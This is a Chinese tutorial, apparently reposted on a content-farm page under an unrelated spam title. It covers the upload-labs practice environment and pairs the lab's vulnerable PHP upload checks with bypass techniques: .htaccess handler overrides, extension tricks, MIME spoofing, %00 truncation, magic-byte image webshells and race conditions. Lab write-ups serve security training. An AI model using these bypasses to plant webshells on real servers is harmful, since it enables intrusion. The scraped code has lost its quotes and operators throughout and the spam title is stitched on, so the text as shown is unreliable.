开发电商网站多少钱刷赞网站推广软件
news/
2025/10/7 11:07:00/
文章来源:
开发电商网站多少钱,刷赞网站推广软件,代理网站在线,福州360手机端seo文末下载上传环境源码客户端js检查一般都是在网页上写一段javascript脚本#xff0c;校验上传文件的后缀名#xff0c;有白名单形式也有黑名单形式。查看源代码可以看到有如下代码对上传文件类型进行了限制#xff1a;我们可以看到对上传文件类型进行了限制。绕过方法1.我们… 文末下载上传环境源码客户端js检查一般都是在网页上写一段javascript脚本校验上传文件的后缀名有白名单形式也有黑名单形式。查看源代码可以看到有如下代码对上传文件类型进行了限制我们可以看到对上传文件类型进行了限制。绕过方法1.我们直接删除代码中onsubmit事件中关于文件上传时验证上传文件的相关代码即可。或者可以不加载所有js还可以将html源码copy一份到本地然后对相应代码进行修改本地提交即可。2.burp改包由于是js验证我们可以先将文件重命名为js允许的后缀名在用burp发送数据包时候改成我们想要的后缀。即可上传成功服务端黑名单特殊可解析后缀 if (file_exists(UPLOAD_PATH)) { $deny_ext array(.asp,.aspx,.php,.jsp); $file_name trim($_FILES[upload_file][name]); $file_name deldot($file_name);//删除文件名末尾的点 $file_ext strrchr($file_name, .); $file_ext strtolower($file_ext); //转换为小写 $file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA $file_ext trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) { $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH./.date(YmdHis).rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg 不允许上传.asp,.aspx,.php,.jsp后缀文件; } } else { $msg UPLOAD_PATH . 文件夹不存在,请手工创建; }这里做了黑名单处理我们可以通过特殊可解析后缀进行绕过。绕过方法之前在4中总结过这里不再赘述可以使用php3phtml等绕过。上传.htaccessif (isset($_POST[submit])) { if (file_exists(UPLOAD_PATH)) { $deny_ext array(.php,.php5,.php4,.php3,.php2,php1,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,pHp1,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf); $file_name trim($_FILES[upload_file][name]); $file_name deldot($file_name);//删除文件名末尾的点 $file_ext strrchr($file_name, .); $file_ext strtolower($file_ext); //转换为小写 $file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA $file_ext trim($file_ext); //收尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH./.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg 此文件不允许上传!; } } else { $msg UPLOAD_PATH . 文件夹不存在,请手工创建; }}?我们发现黑名单限制了很多后缀名但是没有限制.htaccess.htaccess文件是Apache服务器中的一个配置文件它负责相关目录下的网页配置.通过htaccess文件可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。绕过方法我们需要上传一个.htaccess文件内容为SetHandler application/x-httpd-php这样所有的文件都会解析为php接下来上传图片马即可后缀大小写绕过if (isset($_POST[submit])) { if (file_exists(UPLOAD_PATH)) { $deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess); $file_name trim($_FILES[upload_file][name]); $file_name deldot($file_name);//删除文件名末尾的点 $file_ext strrchr($file_name, .); $file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA $file_ext trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH./.date(YmdHis).rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg 此文件类型不允许上传; } } else { $msg UPLOAD_PATH . 文件夹不存在,请手工创建; }}我们发现对.htaccess也进行了检测但是没有对大小写进行统一。绕过方法后缀名改为PHP即可空格绕过if (isset($_POST[submit])) { if (file_exists(UPLOAD_PATH)) { $deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess); $file_name $_FILES[upload_file][name]; $file_name deldot($file_name);//删除文件名末尾的点 $file_ext strrchr($file_name, .); $file_ext strtolower($file_ext); //转换为小写 $file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA if (!in_array($file_ext, $deny_ext)) { $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH./.date(YmdHis).rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg 此文件不允许上传; } } else { $msg UPLOAD_PATH . 文件夹不存在,请手工创建; }黑名单没有对文件中的空格进行处理可在后缀名中加空格绕过。绕过方法点绕过if (isset($_POST[submit])) { if (file_exists(UPLOAD_PATH)) { $deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess); $file_name trim($_FILES[upload_file][name]); $file_ext strrchr($file_name, .); $file_ext strtolower($file_ext); //转换为小写 $file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA $file_ext trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH./.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg 此文件类型不允许上传; } } else { $msg UPLOAD_PATH . 文件夹不存在,请手工创建; }windows会对文件中的点进行自动去除所以可以在文件末尾加点绕过不再赘述::$DATA绕过同windows特性可在后缀名中加” ::$DATA”绕过不再赘述路径拼接绕过if (isset($_POST[submit])) { if (file_exists(UPLOAD_PATH)) { $deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess); $file_name trim($_FILES[upload_file][name]); $file_name deldot($file_name);//删除文件名末尾的点 $file_ext strrchr($file_name, .); $file_ext strtolower($file_ext); //转换为小写 $file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA $file_ext trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH./.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg 此文件类型不允许上传; } } else { $msg UPLOAD_PATH . 文件夹不存在,请手工创建; }}这里对文件名进行了处理删除了文件名末尾的点并且把处理过的文件名拼接到路径中。绕过方法这里我们可以构造文件名1.PHP. . (点空格点)经过处理后文件名变成1.PHP.即可绕过。双写绕过if(file_exists(UPLOAD_PATH)) {$deny_ext array(php,php5,php4,php3,php2,html,htm,phtml,pht,jsp,jspa,jspx,jsw,jsv,jspf,jtml,asp,aspx,asa,asax,ascx,ashx,asmx,cer,swf,htaccess); $file_name trim($_FILES[upload_file][name]); $file_name str_ireplace($deny_ext,, $file_name); $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH./.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg UPLOAD_PATH . 文件夹不存在,请手工创建; }}绕过方法这里我们可以看到将文件名替换为空我们可以采用双写绕过1.pphphp白名单MIME检查if (isset($_POST[submit])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES[upload_file][type] image/jpeg) || ($_FILES[upload_file][type] image/png) || ($_FILES[upload_file][type] image/gif)) { $temp_file $_FILES[upload_file][tmp_name]; $img_path UPLOAD_PATH . / . $_FILES[upload_file][name]; if (move_uploaded_file($temp_file, $img_path)) { $is_upload true; } else { $msg 上传出错; } } else { $msg 文件类型不正确请重新上传; } } else { $msg UPLOAD_PATH.文件夹不存在,请手工创建; }绕过方法这里检查Content-type我们burp抓包修改即可绕过%00 截断if(isset($_POST[submit])){ $ext_arr array(jpg,png,gif); $file_ext substr($_FILES[upload_file][name],strrpos($_FILES[upload_file][name],.)1); if(in_array($file_ext,$ext_arr)){ $temp_file $_FILES[upload_file][tmp_name]; $img_path $_GET[save_path]./.rand(10, 99).date(YmdHis)...$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload true; } else { $msg 上传出错; } } else{ $msg 只允许上传.jpg|.png|.gif类型文件; }}$img_path直接拼接因此可以利用%00截断绕过绕过方法然后直接访问/upload/1.php即可00截断(post)if(isset($_POST[submit])){ $ext_arr array(jpg,png,gif); $file_ext substr($_FILES[upload_file][name],strrpos($_FILES[upload_file][name],.)1); if(in_array($file_ext,$ext_arr)){ $temp_file $_FILES[upload_file][tmp_name]; $img_path $_POST[save_path]./.rand(10, 99).date(YmdHis)...$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload true; } else { $msg 上传失败; } } else { $msg 只允许上传.jpg|.png|.gif类型文件; }}?save_path是通过post传进来的还是利用00截断但这次需要在二进制中进行修改因为post不会像get对%00进行自动解码。绕过方法接下来访问1.php即可文件内容检查文件幻数检测主要是检测文件内容开始处的文件幻数比如图片类型的文件幻数如下要绕过jpg 文件幻数检测就要在文件开头写上下图的值Value FF D8 FF E0 00 10 4A 46 49 46要绕过gif 文件幻数检测就要在文件开头写上下图的值Value 47 49 46 38 39 61要绕过png 文件幻数检测就要在文件开头写上下面的值Value 89 50 4E 47然后在文件幻数后面加上自己的一句话木马代码就行了文件相关信息检测图像文件相关信息检测常用的就是getimagesize()函数只需要把文件头部分伪造好就ok 了就是在幻数的基础上还加了一些文件信息有点像下面的结构GIF89a(...some binary data for image...)?php phpinfo(); ?(... skipping the rest of binary data ...)本次环境中的文件头检测getimagesizephp_exif都可以用图片马绕过copy normal.jpg /b shell.php /a webshell.jpg文件加载检测一般是调用API 或函数去进行文件加载测试常见的是图像渲染测试甚至是进行二次渲染(过滤效果几乎最强)。对渲染/加载测试的攻击方式是代码注入绕过对二次渲染的攻击方式是攻击文件加载器自身。对渲染/加载测试攻击- 代码注入绕过可以用图像处理软件对一张图片进行代码注入用winhex 看数据可以分析出这类工具的原理是在不破坏文件本身的渲染情况下找一个空白区进行填充代码一般会是图片的注释区对于渲染测试基本上都能绕过毕竟本身的文件结构是完整的二次渲染imagecreatefromjpeg二次渲染它相当于是把原本属于图像数据的部分抓了出来再用自己的API 或函数进行重新渲染在这个过程中非图像数据的部分直接就隔离开了if (isset($_POST[submit])){ // 获得上传文件的基本信息文件名类型大小临时文件路径 $filename $_FILES[upload_file][name]; $filetype $_FILES[upload_file][type]; $tmpname $_FILES[upload_file][tmp_name]; $target_pathUPLOAD_PATH.basename($filename); // 获得上传文件的扩展名 $fileext substr(strrchr($filename,.),1); //判断文件后缀与类型合法才进行上传操作 if(($fileext jpg) ($filetypeimage/jpeg)){ if(move_uploaded_file($tmpname,$target_path)) { //使用上传的图片生成新的图片 $im imagecreatefromjpeg($target_path); if($im false){ $msg 该文件不是jpg格式的图片; unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename strval(rand())..jpg; $newimagepath UPLOAD_PATH.$newfilename; imagejpeg($im,$newimagepath); //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path UPLOAD_PATH.$newfilename; unlink($target_path); $is_upload true; } } else { $msg 上传出错; } }else if(($fileext png) ($filetypeimage/png)){ if(move_uploaded_file($tmpname,$target_path)) { //使用上传的图片生成新的图片 $im imagecreatefrompng($target_path); if($im false){ $msg 该文件不是png格式的图片; unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename strval(rand())..png; $newimagepath UPLOAD_PATH.$newfilename; imagepng($im,$newimagepath); //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path UPLOAD_PATH.$newfilename; unlink($target_path); $is_upload true; } } else { $msg 上传出错; } }else if(($fileext gif) ($filetypeimage/gif)){ if(move_uploaded_file($tmpname,$target_path)) { //使用上传的图片生成新的图片 $im imagecreatefromgif($target_path); if($im false){ $msg 该文件不是gif格式的图片; unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename strval(rand())..gif; $newimagepath UPLOAD_PATH.$newfilename; imagegif($im,$newimagepath); //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path UPLOAD_PATH.$newfilename; unlink($target_path); $is_upload true; } } else { $msg 上传出错; } }else{ $msg 只允许上传后缀为.jpg|.png|.gif的图片文件; }}本关综合判断了后缀名、content-type以及利用imagecreatefromgif判断是否为gif图片最后再做了一次二次渲染。绕过方法得去找图片经过GD库转化后没有改变的部分再将未改变的部分修改为相应的php代码。条件竞争if(isset($_POST[submit])){ $ext_arr array(jpg,png,gif); $file_name $_FILES[upload_file][name]; $temp_file $_FILES[upload_file][tmp_name]; $file_ext substr($file_name,strrpos($file_name,.)1); $upload_file UPLOAD_PATH . / . $file_name; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path UPLOAD_PATH . /. rand(10, 99).date(YmdHis)...$file_ext; rename($upload_file, $img_path); $is_upload true; }else{ $msg 只允许上传.jpg|.png|.gif类型文件; unlink($upload_file); } }else{ $msg 上传出错; }}这里先将文件上传到服务器然后通过rename修改名称再通过unlink删除文件因此可以通过条件竞争的方式在unlink之前访问webshell。绕过方法然后不断访问webshell上传成功。参考链接https://blog.csdn.net/Kevinhanser/article/details/81613003https://secgeek.net/bookfresh-vulnerability/https://xz.aliyun.com/t/2435上传环境源码https://github.com/c0ny1/upload-labs更多推荐内网横向渗透的常用姿势渗透测试之提权方式总结渗透测试之linux系统提权总结国内SRC漏洞挖掘经验和自用技巧任意文件上传漏洞 getshell 教程
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/930331.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!